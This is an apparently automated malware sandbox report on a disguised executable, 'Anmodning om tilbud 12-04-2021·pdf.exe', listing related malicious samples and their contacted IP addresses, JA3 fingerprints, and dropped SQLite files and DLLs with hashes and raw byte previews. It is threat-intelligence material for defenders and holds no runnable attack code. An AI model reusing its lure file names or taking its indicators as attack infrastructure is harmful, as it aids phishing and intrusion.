	IJht2pqbVh.exe	Get hash	malicious	Browse	88.99.66.31
	tdGFhgEQeh.exe	Get hash	malicious	Browse	195.201.225.248
	rnd382WXs3.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.19715.exe	Get hash	malicious	Browse	195.201.225.248
	toolspab2.exe	Get hash	malicious	Browse	195.201.225.248
	p96tm6y3yo.exe	Get hash	malicious	Browse	116.203.98.215
	gePWRo7op0.exe	Get hash	malicious	Browse	195.201.225.248
	u0r63PfgIe.exe	Get hash	malicious	Browse	195.201.225.248
	rRobw1VVRP.exe	Get hash	malicious	Browse	116.203.98.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	my_attach_00968.vbs	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	R496CkgPqa.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	qTlPus8IDT.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	phantom.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	output(1).exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	ie6BqkZVg8.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	rGnw6yNeQi.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	job_documentation_11733.vbs	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	tdGFhgEQeh.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	rnd382WXs3.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	782kQ15aYm.dll	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.19715.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	gePWRo7op0.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	u0r63PfgIe.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	bCHfpHFeTj.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	ghnrope2.dll	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	mapdata.dll	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	naps.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.19239.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
	OpPemC578S.exe	Get hash	malicious	Browse	195.123.215.115 195.201.225.248
37f463bf4616ecd445d4a1937da06e19	V3kT2daGkz.exe	Get hash	malicious	Browse	216.58.215.225
	faktura.exe	Get hash	malicious	Browse	216.58.215.225
	PaymentCopy.vbs	Get hash	malicious	Browse	216.58.215.225
	PO NUMBER 3120386 3120393 SIGNED.exe	Get hash	malicious	Browse	216.58.215.225
	RemitSwift119353 xlsx.htm	Get hash	malicious	Browse	216.58.215.225
	os9TZxfmTZ.exe	Get hash	malicious	Browse	216.58.215.225
	SWIFT Payment Advise 39 430-25.exe	Get hash	malicious	Browse	216.58.215.225
	malevolo.ps1	Get hash	malicious	Browse	216.58.215.225
	shipping document.exe	Get hash	malicious	Browse	216.58.215.225
	Statement-ID261179932209970.vbs	Get hash	malicious	Browse	216.58.215.225
	Alexandra38.docx	Get hash	malicious	Browse	216.58.215.225
	rRobw1VVRP.exe	Get hash	malicious	Browse	216.58.215.225
	Tmd7W7qwQw.dll	Get hash	malicious	Browse	216.58.215.225
	SecuriteInfo.com.Trojan.Agent.FFIJ.17175.exe	Get hash	malicious	Browse	216.58.215.225
	documents-351331057.xlsm	Get hash	malicious	Browse	216.58.215.225
	documents-1819557117.xlsm	Get hash	malicious	Browse	216.58.215.225
	mail_6512365134_7863_202104108.html	Get hash	malicious	Browse	216.58.215.225
	Copia bancaria de swift.exe	Get hash	malicious	Browse	216.58.215.225
	SecuriteInfo.com.Trojan.GenericKD.36659493.29456.exe	Get hash	malicious	Browse	216.58.215.225
	SecuriteInfo.com.Trojan.Siggen12.64197.30705.exe	Get hash	malicious	Browse	216.58.215.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	R496CkgPqa.exe	Get hash	malicious	Browse
	qTlPus8IDT.exe	Get hash	malicious	Browse
	phantom.exe	Get hash	malicious	Browse
	output(1).exe	Get hash	malicious	Browse
	C++ Dropper.exe	Get hash	malicious	Browse
	rGnw6yNeQi.exe	Get hash	malicious	Browse
	tdGFhgEQeh.exe	Get hash	malicious	Browse
	rnd382WXs3.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.19715.exe	Get hash	malicious	Browse
	toolspab2.exe	Get hash	malicious	Browse
	gePWRo7op0.exe	Get hash	malicious	Browse
	u0r63PfgIe.exe	Get hash	malicious	Browse
	bCHfpHFeTj.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.19239.exe	Get hash	malicious	Browse
	OpPemC578S.exe	Get hash	malicious	Browse
	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Get hash	malicious	Browse
	vgUgvbLjyI.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware2.22480.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.16239.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.23167.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123344
Entropy (8bit):	6.504957642040826
Encrypted:	false
SSDEEP:	1536:DkO/6RZFrpiS7ewflNGa35iOrjmwWTYP1KxBxZJByEJMBrsuLeLsWxcdaocACs0K:biRZFdBiussQ1MBjq2aocts03/7FE
MD5:	F92586E9CC1F12223B7EEB1A8CD4323C
SHA1:	F5EB4AB2508F27613F4D85D798FA793BB0BD04B0
SHA-256:	A1A2BB03A7CFCEA8944845A8FC12974482F44B44FD20BE73298FFD630F65D8D0
SHA-512:	5C047AB885A8ACCB604E58C1806C82474DC43E1F997B267F90C68A078CB63EE78A93D1496E6DD4F5A72FDF246F40EF19CE5CA0D0296BBCFCFA964E4921E68A2F
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: R496CkgPqa.exe, Detection: malicious, Browse Filename: qTlPus8IDT.exe, Detection: malicious, Browse Filename: phantom.exe, Detection: malicious, Browse Filename: output(1).exe, Detection: malicious, Browse Filename: C++ Dropper.exe, Detection: malicious, Browse Filename: rGnw6yNeQi.exe, Detection: malicious, Browse Filename: tdGFhgEQeh.exe, Detection: malicious, Browse Filename: rnd382WXs3.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.19715.exe, Detection: malicious, Browse Filename: toolspab2.exe, Detection: malicious, Browse Filename: gePWRo7op0.exe, Detection: malicious, Browse Filename: u0r63PfgIe.exe, Detection: malicious, Browse Filename: bCHfpHFeTj.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.19239.exe, Detection: malicious, Browse Filename: OpPemC578S.exe, Detection: malicious, Browse Filename: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, Detection: malicious, Browse Filename: vgUgvbLjyI.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware2.22480.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.16239.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.23167.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y.Z.............x.......x.......x......=z......=z......=z.......x.......x..........z.../{....../{....../{....../{b...../{......Rich............PE..L...C@.\.........."!.................b.......0......................................~p....@.................................p...........h...........................0...T................... ...........@............0..$............................text...7........................... ..`.orpc........ ...................... ..`.rdata...y...0...z..................@..@.data...............................@....rsrc...h...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26064
Entropy (8bit):	5.981632010321345
Encrypted:	false
SSDEEP:	384:KuAjyb0Xc6JzVuLoW2XDOc3TXg1hjsvDG8A3OPLon07zS:BEygs6RV6oW2Xd38njiDG8Mj
MD5:	A7FABF3DCE008915CEE4FFC338FA1CE6
SHA1:	F411FB41181C79FBA0516D5674D07444E98E7C92
SHA-256:	D368EB240106F87188C4F2AE30DB793A2D250D9344F0E0267D4F6A58E68152AD
SHA-512:	3D2935D02D1A2756AAD7060C47DC7CABBA820CC9977957605CE9BBB44222289CBC451AD331F408317CF01A1A4D3CF8D9CFC666C4E6B4DB9DDD404C7629CEAA70
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S......U...U...U...U...U..T...U..T...U..T...U..T...U5.T...U...U!..U..T...U..T...U...U...U..T...URich...U........PE..L...<@.\.........."!.........8......0........0.......................................7....@..........................=......0>..x....`...............H..........<...09..T............................9..@............0...............................text...f........................... ..`.orpc........ ...................... ..`.rdata.......0......................@..@.data...@....P.......(..............@....rsrc........`.......*..............@..@.reloc..<............D..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	70608
Entropy (8bit):	5.389701090881864
Encrypted:	false
SSDEEP:	768:3n8PHF564hn4wva3AVqH5PmE0SjA6QM0avrDG8MR43:38th4wvaQVE5PRl0xs
MD5:	5243F66EF4595D9D8902069EED8777E2
SHA1:	1FB7F82CD5F1376C5378CD88F853727AB1CC439E
SHA-256:	621F38BD19F62C9CE6826D492ECDF710C00BBDCF1FB4E4815883F29F1431DFDA
SHA-512:	A6AB96D73E326C7EEF75560907571AE9CAA70BA9614EB56284B863503AF53C78B991B809C0C8BAE3BCE99142018F59D42DD4BCD41376D0A30D9932BCFCAEE57A
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~.....K...K...K.g.K...K4}.J...K4}.J...K4}.J...K4}.J...K...J...K...J...K...K...K&\|.J...K&\|.J...K&\|uK...K&\|.J...KRich...K........PE..L...J@.\.........."!.................$.......0...............................0............@.........................0z.......z...........v................... .......u..T...........................Hv..@............0...............................orpc...t........................... ..`.text........ ...................... ..`.rdata...Q...0...R..................@..@.data................j..............@....rsrc....v.......x...t..............@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19920
Entropy (8bit):	6.2121285323374185
Encrypted:	false
SSDEEP:	384:Y0GKgKt7QXmFJNauBT5+BjdvDG8A3OPLon6nt:aKgWc2FnnTOVDG8MSt
MD5:	7CD244C3FC13C90487127B8D82F0B264
SHA1:	09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256:	BCFB0E397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512:	C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD13D
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X...X...X... J..X...:...X...:...X...:...X...:...X...8...X...X...X...;...X...;...X...;&..X...;...X..Rich.X..........................PE..L....=.\.........."!................@........0............................................@.........................0:.......:..d....`..p............0.......p.......5..T...........................86..@............0...............................text...v........................... ..`.orpc...<.... ...................... ..`.rdata..r....0......................@..@.data........P.......&..............@....rsrc...p....`.......(..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19920
Entropy (8bit):	6.2121285323374185
Encrypted:	false
SSDEEP:	384:Y0GKgKt7QXmFJNauBT5+BjdvDG8A3OPLon6nt:aKgWc2FnnTOVDG8MSt
MD5:	7CD244C3FC13C90487127B8D82F0B264
SHA1:	09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256:	BCFB0E397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512:	C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD13D
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X...X...X... J..X...:...X...:...X...:...X...:...X...8...X...X...X...;...X...;...X...;&..X...;...X..Rich.X..........................PE..L....=.\.........."!................@........0............................................@.........................0:.......:..d....`..p............0.......p.......5..T...........................86..@............0...............................text...v........................... ..`.orpc...<.... ...................... ..`.rdata..r....0......................@..@.data........P.......&..............@....rsrc...p....`.......(..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-libraryloader-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-localization-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-memory-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
